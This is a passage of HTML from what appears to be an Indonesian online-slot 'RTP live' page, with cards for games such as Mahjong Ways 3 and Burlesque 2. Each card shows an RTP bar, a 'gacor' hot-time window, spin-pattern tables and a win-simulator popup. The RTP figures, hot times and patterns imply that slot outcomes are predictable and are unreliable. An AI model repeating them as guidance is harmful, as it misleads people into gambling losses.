         <div id="popup-47" class="popup">
            <div class="popup-container">
               <div class="popup-content">
                  <span class="close" onclick="closeSimulasiPopup(47)">×</span>
                  <h2>Simulasi Kemenangan</h2>
                  <label for="bet-input">Bet:</label>
                  <input type="number" id="bet-input-47" placeholder="Masukkan bet..."><br>
                  <label for="modal-input">Modal:</label>
                  <input type="number" id="modal-input-47" placeholder="Masukkan modal..."><br><br>
                  <button onclick="runSimulasi(47)">Simulasikan</button>
                  <div id="simulasi-result-47" class="simulasi-result"></div>
               </div>
            </div>
         </div>
      </div>
      <div class="game-card">
         <img src="upload/game/playstar/PSS-ON-00112.png" alt="Super Win">
         <div class="game-title">Super Win</div>
         <div class="progress-bar-container">
            <div class="progress-bar orange" id="rtp-bar-48" style="width: 53%;"></div>
            <div class="progress-bar-text" id="rtp-text-48">53%</div>
         </div>
         <button class="simulasi-button" onclick="openSimulasiPopup(48)">Simulasi Kemenangan</button>
         <div class="game-info">
            <p><span class="gacor-time" id="gacor-time-48">23:25 WIB - 00:25 WIB</span></p>
            <div class="pola-slot" id="pola-slot-48">
               <table class="pola-slot-table">
                  <tbody>
                     <tr>
                        <td>Auto 20</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                     </tr>
                     <tr>
                        <td>Auto 70</td>
                        <td class="pola-result"><span class="success"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                     </tr>
                     <tr>
                        <td>Manual 45</td>
                        <td class="pola-result"><span class="success"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                     </tr>
                  </tbody>
               </table>
            </div>
         </div>
         <div id="popup-48" class="popup">
            <div class="popup-container">
               <div class="popup-content">
                  <span class="close" onclick="closeSimulasiPopup(48)">×</span>
                  <h2>Simulasi Kemenangan</h2>
                  <label for="bet-input">Bet:</label>
                  <input type="number" id="bet-input-48" placeholder="Masukkan bet..."><br>
                  <label for="modal-input">Modal:</label>
                  <input type="number" id="modal-input-48" placeholder="Masukkan modal..."><br><br>
                  <button onclick="runSimulasi(48)">Simulasikan</button>
                  <div id="simulasi-result-48" class="simulasi-result"></div>
               </div>
            </div>
         </div>
      </div>
      <div class="game-card">
         <img src="upload/game/playstar/PSS-ON-00114.png" alt="Fish Prawn Crab">
         <div class="game-title">Fish Prawn Crab</div>
         <div class="progress-bar-container">
            <div class="progress-bar orange" id="rtp-bar-49" style="width: 48%;"></div>
            <div class="progress-bar-text" id="rtp-text-49">48%</div>
         </div>
         <button class="simulasi-button" onclick="openSimulasiPopup(49)">Simulasi Kemenangan</button>
         <div class="game-info">
            <p><span class="gacor-time" id="gacor-time-49">23:29 WIB - 00:29 WIB</span></p>
            <div class="pola-slot" id="pola-slot-49">
               <table class="pola-slot-table">
                  <tbody>
                     <tr>
                        <td>Auto 50</td>
                        <td class="pola-result"><span class="success"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                     </tr>
                     <tr>
                        <td>Manual 49</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                     </tr>
                     <tr>
                        <td>Auto 20</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                     </tr>
                  </tbody>
               </table>
            </div>
         </div>
         <div id="popup-49" class="popup">
            <div class="popup-container">
               <div class="popup-content">
                  <span class="close" onclick="closeSimulasiPopup(49)">×</span>
                  <h2>Simulasi Kemenangan</h2>
                  <label for="bet-input">Bet:</label>
                  <input type="number" id="bet-input-49" placeholder="Masukkan bet..."><br>
                  <label for="modal-input">Modal:</label>
                  <input type="number" id="modal-input-49" placeholder="Masukkan modal..."><br><br>
                  <button onclick="runSimulasi(49)">Simulasikan</button>
                  <div id="simulasi-result-49" class="simulasi-result"></div>
               </div>
            </div>
         </div>
      </div>
      <div class="game-card">
         <img src="upload/game/playstar/PSS-ON-00115.png" alt="What The Fa">
         <div class="game-title">What The Fa</div>
         <div class="progress-bar-container">
            <div class="progress-bar orange" id="rtp-bar-50" style="width: 72%;"></div>
            <div class="progress-bar-text" id="rtp-text-50">72%</div>
         </div>
         <button class="simulasi-button" onclick="openSimulasiPopup(50)">Simulasi Kemenangan</button>
         <div class="game-info">
            <p><span class="gacor-time" id="gacor-time-50">23:25 WIB - 00:25 WIB</span></p>
            <div class="pola-slot" id="pola-slot-50">
               <table class="pola-slot-table">
                  <tbody>
                     <tr>
                        <td>Manual 47</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                     </tr>
                     <tr>
                        <td>Manual 11</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                     </tr>
                     <tr>
                        <td>Auto 50</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                     </tr>
                  </tbody>
               </table>
            </div>
         </div>
         <div id="popup-50" class="popup">
            <div class="popup-container">
               <div class="popup-content">
                  <span class="close" onclick="closeSimulasiPopup(50)">×</span>
                  <h2>Simulasi Kemenangan</h2>
                  <label for="bet-input">Bet:</label>
                  <input type="number" id="bet-input-50" placeholder="Masukkan bet..."><br>
                  <label for="modal-input">Modal:</label>
                  <input type="number" id="modal-input-50" placeholder="Masukkan modal..."><br><br>
                  <button onclick="runSimulasi(50)">Simulasikan</button>
                  <div id="simulasi-result-50" class="simulasi-result"></div>
               </div>
            </div>
         </div>
      </div>
      <div class="game-card">
         <img src="upload/game/playstar/PSS-ON-00116.png" alt="Burlesque 2">
         <div class="game-title">Burlesque 2</div>
         <div class="progress-bar-container">
            <div class="progress-bar green" id="rtp-bar-51" style="width: 90%;"></div>
            <div class="progress-bar-text" id="rtp-text-51">90%</div>
         </div>
         <button class="simulasi-button" onclick="openSimulasiPopup(51)">Simulasi Kemenangan</button>
         <div class="game-info">
            <p><span class="gacor-time" id="gacor-time-51">23:26 WIB - 00:26 WIB</span></p>
            <div class="pola-slot" id="pola-slot-51">
               <table class="pola-slot-table">
                  <tbody>
                     <tr>
                        <td>Auto 30</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                     </tr>
                     <tr>
                        <td>Manual 31</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                     </tr>
                     <tr>
                        <td>Manual 10</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                     </tr>
                  </tbody>
               </table>
            </div>
         </div>
         <div id="popup-51" class="popup">
            <div class="popup-container">
               <div class="popup-content">
                  <span class="close" onclick="closeSimulasiPopup(51)">×</span>
                  <h2>Simulasi Kemenangan</h2>
                  <label for="bet-input">Bet:</label>
                  <input type="number" id="bet-input-51" placeholder="Masukkan bet..."><br>
                  <label for="modal-input">Modal:</label>
                  <input type="number" id="modal-input-51" placeholder="Masukkan modal..."><br><br>
                  <button onclick="runSimulasi(51)">Simulasikan</button>
                  <div id="simulasi-result-51" class="simulasi-result"></div>
               </div>
            </div>
         </div>
      </div>
      <div class="game-card">
         <img src="upload/game/playstar/PSS-ON-00119.png" alt="Lucky Poker 2">
         <div class="game-title">Lucky Poker 2</div>
         <div class="progress-bar-container">
            <div class="progress-bar orange" id="rtp-bar-52" style="width: 50%;"></div>
            <div class="progress-bar-text" id="rtp-text-52">50%</div>
         </div>
         <button class="simulasi-button" onclick="openSimulasiPopup(52)">Simulasi Kemenangan</button>
         <div class="game-info">
            <p><span class="gacor-time" id="gacor-time-52">23:31 WIB - 00:31 WIB</span></p>
            <div class="pola-slot" id="pola-slot-52">
               <table class="pola-slot-table">
                  <tbody>
                     <tr>
                        <td>Auto 100</td>
                        <td class="pola-result"><span class="success"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                     </tr>
                     <tr>
                        <td>Auto 10</td>
                        <td class="pola-result"><span class="success"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                     </tr>
                     <tr>
                        <td>Auto 100</td>
                        <td class="pola-result"><span class="success"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                     </tr>
                  </tbody>
               </table>
            </div>
         </div>
         <div id="popup-52" class="popup">
            <div class="popup-container">
               <div class="popup-content">
                  <span class="close" onclick="closeSimulasiPopup(52)">×</span>
                  <h2>Simulasi Kemenangan</h2>
                  <label for="bet-input">Bet:</label>
                  <input type="number" id="bet-input-52" placeholder="Masukkan bet..."><br>
                  <label for="modal-input">Modal:</label>
                  <input type="number" id="modal-input-52" placeholder="Masukkan modal..."><br><br>
                  <button onclick="runSimulasi(52)">Simulasikan</button>
                  <div id="simulasi-result-52" class="simulasi-result"></div>
               </div>
            </div>
         </div>
      </div>
      <div class="game-card">
         <img src="upload/game/playstar/PSS-ON-00123.png" alt="Golden Zongzi">
         <div class="game-title">Golden Zongzi</div>
         <div class="progress-bar-container">
            <div class="progress-bar orange" id="rtp-bar-53" style="width: 37%;"></div>
            <div class="progress-bar-text" id="rtp-text-53">37%</div>
         </div>
         <button class="simulasi-button" onclick="openSimulasiPopup(53)">Simulasi Kemenangan</button>
         <div class="game-info">
            <p><span class="gacor-time" id="gacor-time-53">23:22 WIB - 00:22 WIB</span></p>
            <div class="pola-slot" id="pola-slot-53">
               <table class="pola-slot-table">
                  <tbody>
                     <tr>
                        <td>Manual 21</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                     </tr>
                     <tr>
                        <td>Manual 20</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                     </tr>
                     <tr>
                        <td>Manual 34</td>
                        <td class="pola-result"><span class="success"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                     </tr>
                  </tbody>
               </table>
            </div>
         </div>
         <div id="popup-53" class="popup">
            <div class="popup-container">
               <div class="popup-content">
                  <span class="close" onclick="closeSimulasiPopup(53)">×</span>
                  <h2>Simulasi Kemenangan</h2>
                  <label for="bet-input">Bet:</label>
                  <input type="number" id="bet-input-53" placeholder="Masukkan bet..."><br>
                  <label for="modal-input">Modal:</label>
                  <input type="number" id="modal-input-53" placeholder="Masukkan modal..."><br><br>
                  <button onclick="runSimulasi(53)">Simulasikan</button>
                  <div id="simulasi-result-53" class="simulasi-result"></div>
               </div>
            </div>
         </div>
      </div>
      <div class="game-card">
         <img src="upload/game/playstar/PSS-ON-00131.png" alt="Fantasy - Southeast Asia">
         <div class="game-title">Fantasy - Southeast Asia</div>
         <div class="progress-bar-container">
            <div class="progress-bar red" id="rtp-bar-54" style="width: 11%;"></div>
            <div class="progress-bar-text" id="rtp-text-54">11%</div>
         </div>
         <button class="simulasi-button" onclick="openSimulasiPopup(54)">Simulasi Kemenangan</button>
         <div class="game-info">
            <p><span class="gacor-time" id="gacor-time-54">23:23 WIB - 00:23 WIB</span></p>
            <div class="pola-slot" id="pola-slot-54">
               <div class="pola-unavailable">Pola Tidak Tersedia!!</div>
               <div>Tidak Disarankan Bermain</div>
               <div>Game ini</div>
            </div>
         </div>
         <div id="popup-54" class="popup">
            <div class="popup-container">
               <div class="popup-content">
                  <span class="close" onclick="closeSimulasiPopup(54)">×</span>
                  <h2>Simulasi Kemenangan</h2>
                  <label for="bet-input">Bet:</label>
                  <input type="number" id="bet-input-54" placeholder="Masukkan bet..."><br>
                  <label for="modal-input">Modal:</label>
                  <input type="number" id="modal-input-54" placeholder="Masukkan modal..."><br><br>
                  <button onclick="runSimulasi(54)">Simulasikan</button>
                  <div id="simulasi-result-54" class="simulasi-result"></div>
               </div>
            </div>
         </div>
      </div>
      <div class="game-card">
         <img src="upload/game/playstar/PSS-ON-00132.png" alt="Crazy 777">
         <div class="game-title">Crazy 777</div>
         <div class="progress-bar-container">
            <div class="progress-bar orange" id="rtp-bar-55" style="width: 46%;"></div>
            <div class="progress-bar-text" id="rtp-text-55">46%</div>
         </div>
         <button class="simulasi-button" onclick="openSimulasiPopup(55)">Simulasi Kemenangan</button>
         <div class="game-info">
            <p><span class="gacor-time" id="gacor-time-55">23:24 WIB - 00:24 WIB</span></p>
            <div class="pola-slot" id="pola-slot-55">
               <table class="pola-slot-table">
                  <tbody>
                     <tr>
                        <td>Manual 19</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                     </tr>
                     <tr>
                        <td>Auto 100</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                     </tr>
                     <tr>
                        <td>Manual 20</td>
                        <td class="pola-result"><span class="success"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                     </tr>
                  </tbody>
               </table>
            </div>
         </div>
         <div id="popup-55" class="popup">
            <div class="popup-container">
               <div class="popup-content">
                  <span class="close" onclick="closeSimulasiPopup(55)">×</span>
                  <h2>Simulasi Kemenangan</h2>
                  <label for="bet-input">Bet:</label>
                  <input type="number" id="bet-input-55" placeholder="Masukkan bet..."><br>
                  <label for="modal-input">Modal:</label>
                  <input type="number" id="modal-input-55" placeholder="Masukkan modal..."><br><br>
                  <button onclick="runSimulasi(55)">Simulasikan</button>
                  <div id="simulasi-result-55" class="simulasi-result"></div>
               </div>
            </div>
         </div>
      </div>
      <div class="game-card">
         <img src="upload/game/playstar/PSTM-ON-00001.png" alt="Lucky Koin">
         <div class="game-title">Lucky Koin</div>
         <div class="progress-bar-container">
            <div class="progress-bar orange" id="rtp-bar-56" style="width: 29%;"></div>
            <div class="progress-bar-text" id="rtp-text-56">29%</div>
         </div>
         <button class="simulasi-button" onclick="openSimulasiPopup(56)">Simulasi Kemenangan</button>
         <div class="game-info">
            <p><span class="gacor-time" id="gacor-time-56">23:27 WIB - 00:27 WIB</span></p>
            <div class="pola-slot" id="pola-slot-56">
               <table class="pola-slot-table">
                  <tbody>
                     <tr>
                        <td>Auto 70</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                     </tr>
                     <tr>
                        <td>Auto 20</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                     </tr>
                     <tr>
                        <td>Manual 24</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                     </tr>
                  </tbody>
               </table>
            </div>
         </div>
         <div id="popup-56" class="popup">
            <div class="popup-container">
               <div class="popup-content">
                  <span class="close" onclick="closeSimulasiPopup(56)">×</span>
                  <h2>Simulasi Kemenangan</h2>
                  <label for="bet-input">Bet:</label>
                  <input type="number" id="bet-input-56" placeholder="Masukkan bet..."><br>
                  <label for="modal-input">Modal:</label>
                  <input type="number" id="modal-input-56" placeholder="Masukkan modal..."><br><br>
                  <button onclick="runSimulasi(56)">Simulasikan</button>
                  <div id="simulasi-result-56" class="simulasi-result"></div>
               </div>
            </div>
         </div>
      </div>
      <div class="game-card">
         <img src="upload/game/playstar/PSTM-ON-00003.png" alt="Lucky Crush">
         <div class="game-title">Lucky Crush</div>
         <div class="progress-bar-container">
            <div class="progress-bar orange" id="rtp-bar-57" style="width: 42%;"></div>
            <div class="progress-bar-text" id="rtp-text-57">42%</div>
         </div>
         <button class="simulasi-button" onclick="openSimulasiPopup(57)">Simulasi Kemenangan</button>
         <div class="game-info">
            <p><span class="gacor-time" id="gacor-time-57">23:22 WIB - 00:22 WIB</span></p>
            <div class="pola-slot" id="pola-slot-57">
               <table class="pola-slot-table">
                  <tbody>
                     <tr>
                        <td>Auto 50</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                     </tr>
                     <tr>
                        <td>Auto 20</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                     </tr>
                     <tr>
                        <td>Auto 30</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                     </tr>
                  </tbody>
               </table>
            </div>
         </div>
         <div id="popup-57" class="popup">
            <div class="popup-container">
               <div class="popup-content">
                  <span class="close" onclick="closeSimulasiPopup(57)">×</span>
                  <h2>Simulasi Kemenangan</h2>
                  <label for="bet-input">Bet:</label>
                  <input type="number" id="bet-input-57" placeholder="Masukkan bet..."><br>
                  <label for="modal-input">Modal:</label>
                  <input type="number" id="modal-input-57" placeholder="Masukkan modal..."><br><br>
                  <button onclick="runSimulasi(57)">Simulasikan</button>
                  <div id="simulasi-result-57" class="simulasi-result"></div>
               </div>
            </div>
         </div>
      </div>
      <div class="game-card">
         <img src="upload/game/playstar/PSS-ON-00136.png" alt="Christmas Express">
         <div class="game-title">Christmas Express</div>
         <div class="progress-bar-container">
            <div class="progress-bar orange" id="rtp-bar-58" style="width: 49%;"></div>
            <div class="progress-bar-text" id="rtp-text-58">49%</div>
         </div>
         <button class="simulasi-button" onclick="openSimulasiPopup(58)">Simulasi Kemenangan</button>
         <div class="game-info">
            <p><span class="gacor-time" id="gacor-time-58">23:24 WIB - 00:24 WIB</span></p>
            <div class="pola-slot" id="pola-slot-58">
               <table class="pola-slot-table">
                  <tbody>
                     <tr>
                        <td>Manual 24</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                     </tr>
                     <tr>
                        <td>Manual 32</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                     </tr>
                     <tr>
                        <td>Auto 30</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                     </tr>
                  </tbody>
               </table>
            </div>
         </div>
         <div id="popup-58" class="popup">
            <div class="popup-container">
               <div class="popup-content">
                  <span class="close" onclick="closeSimulasiPopup(58)">×</span>
                  <h2>Simulasi Kemenangan</h2>
                  <label for="bet-input">Bet:</label>
                  <input type="number" id="bet-input-58" placeholder="Masukkan bet..."><br>
                  <label for="modal-input">Modal:</label>
                  <input type="number" id="modal-input-58" placeholder="Masukkan modal..."><br><br>
                  <button onclick="runSimulasi(58)">Simulasikan</button>
                  <div id="simulasi-result-58" class="simulasi-result"></div>
               </div>
            </div>
         </div>
      </div>
      <div class="game-card">
         <img src="upload/game/playstar/PSS-ON-00139.png" alt="Chef Husky">
         <div class="game-title">Chef Husky</div>
         <div class="progress-bar-container">
            <div class="progress-bar orange" id="rtp-bar-59" style="width: 62%;"></div>
            <div class="progress-bar-text" id="rtp-text-59">62%</div>
         </div>
         <button class="simulasi-button" onclick="openSimulasiPopup(59)">Simulasi Kemenangan</button>
         <div class="game-info">
            <p><span class="gacor-time" id="gacor-time-59">23:31 WIB - 00:31 WIB</span></p>
            <div class="pola-slot" id="pola-slot-59">
               <table class="pola-slot-table">
                  <tbody>
                     <tr>
                        <td>Auto 50</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                     </tr>
                     <tr>
                        <td>Auto 30</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                     </tr>
                     <tr>
                        <td>Auto 100</td>
                        <td class="pola-result"><span class="success"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                     </tr>
                  </tbody>
               </table>
            </div>
         </div>
         <div id="popup-59" class="popup">
            <div class="popup-container">
               <div class="popup-content">
                  <span class="close" onclick="closeSimulasiPopup(59)">×</span>
                  <h2>Simulasi Kemenangan</h2>
                  <label for="bet-input">Bet:</label>
                  <input type="number" id="bet-input-59" placeholder="Masukkan bet..."><br>
                  <label for="modal-input">Modal:</label>
                  <input type="number" id="modal-input-59" placeholder="Masukkan modal..."><br><br>
                  <button onclick="runSimulasi(59)">Simulasikan</button>
                  <div id="simulasi-result-59" class="simulasi-result"></div>
               </div>
            </div>
         </div>
      </div>
      <div class="game-card">
         <img src="upload/game/playstar/PSS-ON-00147.png" alt="Treasures Of Aztec Z">
         <div class="game-title">Treasures Of Aztec Z</div>
         <div class="progress-bar-container">
            <div class="progress-bar orange" id="rtp-bar-60" style="width: 46%;"></div>
            <div class="progress-bar-text" id="rtp-text-60">46%</div>
         </div>
         <button class="simulasi-button" onclick="openSimulasiPopup(60)">Simulasi Kemenangan</button>
         <div class="game-info">
            <p><span class="gacor-time" id="gacor-time-60">23:25 WIB - 00:25 WIB</span></p>
            <div class="pola-slot" id="pola-slot-60">
               <table class="pola-slot-table">
                  <tbody>
                     <tr>
                        <td>Manual 48</td>
                        <td class="pola-result"><span class="success"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                     </tr>
                     <tr>
                        <td>Auto 50</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                     </tr>
                     <tr>
                        <td>Manual 43</td>
                        <td class="pola-result"><span class="success"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                     </tr>
                  </tbody>
               </table>
            </div>
         </div>
         <div id="popup-60" class="popup">
            <div class="popup-container">
               <div class="popup-content">
                  <span class="close" onclick="closeSimulasiPopup(60)">×</span>
                  <h2>Simulasi Kemenangan</h2>
                  <label for="bet-input">Bet:</label>
                  <input type="number" id="bet-input-60" placeholder="Masukkan bet..."><br>
                  <label for="modal-input">Modal:</label>
                  <input type="number" id="modal-input-60" placeholder="Masukkan modal..."><br><br>
                  <button onclick="runSimulasi(60)">Simulasikan</button>
                  <div id="simulasi-result-60" class="simulasi-result"></div>
               </div>
            </div>
         </div>
      </div>
      <div class="game-card">
         <img src="upload/game/playstar/PSS-ON-00146.png" alt="Mahjong Ways 3+">
         <div class="game-title">Mahjong Ways 3+</div>
         <div class="progress-bar-container">
            <div class="progress-bar orange" id="rtp-bar-61" style="width: 74%;"></div>
            <div class="progress-bar-text" id="rtp-text-61">74%</div>
         </div>
         <button class="simulasi-button" onclick="openSimulasiPopup(61)">Simulasi Kemenangan</button>
         <div class="game-info">
            <p><span class="gacor-time" id="gacor-time-61">23:30 WIB - 00:30 WIB</span></p>
            <div class="pola-slot" id="pola-slot-61">
               <table class="pola-slot-table">
                  <tbody>
                     <tr>
                        <td>Manual 37</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                     </tr>
                     <tr>
                        <td>Auto 30</td>
                        <td class="pola-result"><span class="success"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                     </tr>
                     <tr>
                        <td>Auto 100</td>
                        <td class="pola-result"><span class="success"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                     </tr>
                  </tbody>
               </table>
            </div>
         </div>
         <div id="popup-61" class="popup">
            <div class="popup-container">
               <div class="popup-content">
                  <span class="close" onclick="closeSimulasiPopup(61)">×</span>
                  <h2>Simulasi Kemenangan</h2>
                  <label for="bet-input">Bet:</label>
                  <input type="number" id="bet-input-61" placeholder="Masukkan bet..."><br>
                  <label for="modal-input">Modal:</label>
                  <input type="number" id="modal-input-61" placeholder="Masukkan modal..."><br><br>
                  <button onclick="runSimulasi(61)">Simulasikan</button>
                  <div id="simulasi-result-61" class="simulasi-result"></div>
               </div>
            </div>
         </div>
      </div>
      <div class="game-card">
         <img src="upload/game/playstar/PSS-ON-00141.png" alt="Mahjong Ways 3">
         <div class="game-title">Mahjong Ways 3</div>
         <div class="progress-bar-container">
            <div class="progress-bar orange" id="rtp-bar-62" style="width: 69%;"></div>
            <div class="progress-bar-text" id="rtp-text-62">69%</div>
         </div>
         <button class="simulasi-button" onclick="openSimulasiPopup(62)">Simulasi Kemenangan</button>
         <div class="game-info">
            <p><span class="gacor-time" id="gacor-time-62">23:22 WIB - 00:22 WIB</span></p>
            <div class="pola-slot" id="pola-slot-62">
               <table class="pola-slot-table">
                  <tbody>
                     <tr>
                        <td>Manual 22</td>
                        <td class="pola-result"><span class="success"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                     </tr>
                     <tr>
                        <td>Manual 13</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                     </tr>
                     <tr>
                        <td>Auto 100</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                     </tr>
                  </tbody>
               </table>
            </div>
         </div>
         <div id="popup-62" class="popup">
            <div class="popup-container">
               <div class="popup-content">
                  <span class="close" onclick="closeSimulasiPopup(62)">×</span>
                  <h2>Simulasi Kemenangan</h2>
                  <label for="bet-input">Bet:</label>
                  <input type="number" id="bet-input-62" placeholder="Masukkan bet..."><br>
                  <label for="modal-input">Modal:</label>
                  <input type="number" id="modal-input-62" placeholder="Masukkan modal..."><br><br>
                  <button onclick="runSimulasi(62)">Simulasikan</button>
                  <div id="simulasi-result-62" class="simulasi-result"></div>
               </div>
            </div>
         </div>
      </div>
      <div class="game-card">
         <img src="upload/game/playstar/PSS-ON-00001.png" alt="China Empress">
         <div class="game-title">China Empress</div>
         <div class="progress-bar-container">
            <div class="progress-bar orange" id="rtp-bar-63" style="width: 66%;"></div>
            <div class="progress-bar-text" id="rtp-text-63">66%</div>
         </div>
         <button class="simulasi-button" onclick="openSimulasiPopup(63)">Simulasi Kemenangan</button>
         <div class="game-info">
            <p><span class="gacor-time" id="gacor-time-63">23:23 WIB - 00:23 WIB</span></p>
            <div class="pola-slot" id="pola-slot-63">
               <table class="pola-slot-table">
                  <tbody>
                     <tr>
                        <td>Manual 33</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                     </tr>
                     <tr>
                        <td>Auto 20</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                     </tr>
                     <tr>
                        <td>Manual 28</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                     </tr>
                  </tbody>
               </table>
            </div>
         </div>
         <div id="popup-63" class="popup">
            <div class="popup-container">
               <div class="popup-content">
                  <span class="close" onclick="closeSimulasiPopup(63)">×</span>
                  <h2>Simulasi Kemenangan</h2>
                  <label for="bet-input">Bet:</label>
                  <input type="number" id="bet-input-63" placeholder="Masukkan bet..."><br>
                  <label for="modal-input">Modal:</label>
                  <input type="number" id="modal-input-63" placeholder="Masukkan modal..."><br><br>
                  <button onclick="runSimulasi(63)">Simulasikan</button>
                  <div id="simulasi-result-63" class="simulasi-result"></div>
               </div>
            </div>
         </div>
      </div>
      <div class="game-card">
         <img src="upload/game/playstar/PSS-ON-00009.png" alt="Madame Caroline">
         <div class="game-title">Madame Caroline</div>
         <div class="progress-bar-container">
            <div class="progress-bar green" id="rtp-bar-64" style="width: 95%;"></div>
            <div class="progress-bar-text" id="rtp-text-64">95%</div>
         </div>
         <button class="simulasi-button" onclick="openSimulasiPopup(64)">Simulasi Kemenangan</button>
         <div class="game-info">
            <p><span class="gacor-time" id="gacor-time-64">23:29 WIB - 00:29 WIB</span></p>
            <div class="pola-slot" id="pola-slot-64">
               <table class="pola-slot-table">
                  <tbody>
                     <tr>
                        <td>Manual 21</td>
                        <td class="pola-result"><span class="success"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                     </tr>
                     <tr>
                        <td>Manual 35</td>
                        <td class="pola-result"><span class="success"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                     </tr>
                     <tr>
                        <td>Manual 29</td>
                        <td class="pola-result"><span class="fail"></span></td>
                        <td class="pola-result"><span class="success"></span></td>
                        <td class="pola-result"><span class="fail"></span></td>
                     </tr>
                  </tbody>
               </table>
            </div>
         </div>
         <div id="popup-64" class="popup">
            <div class="popup-container">
               <div class="popup-content">
                  <span class="close" onclick="closeSimulasiPopup(64)">×</span>
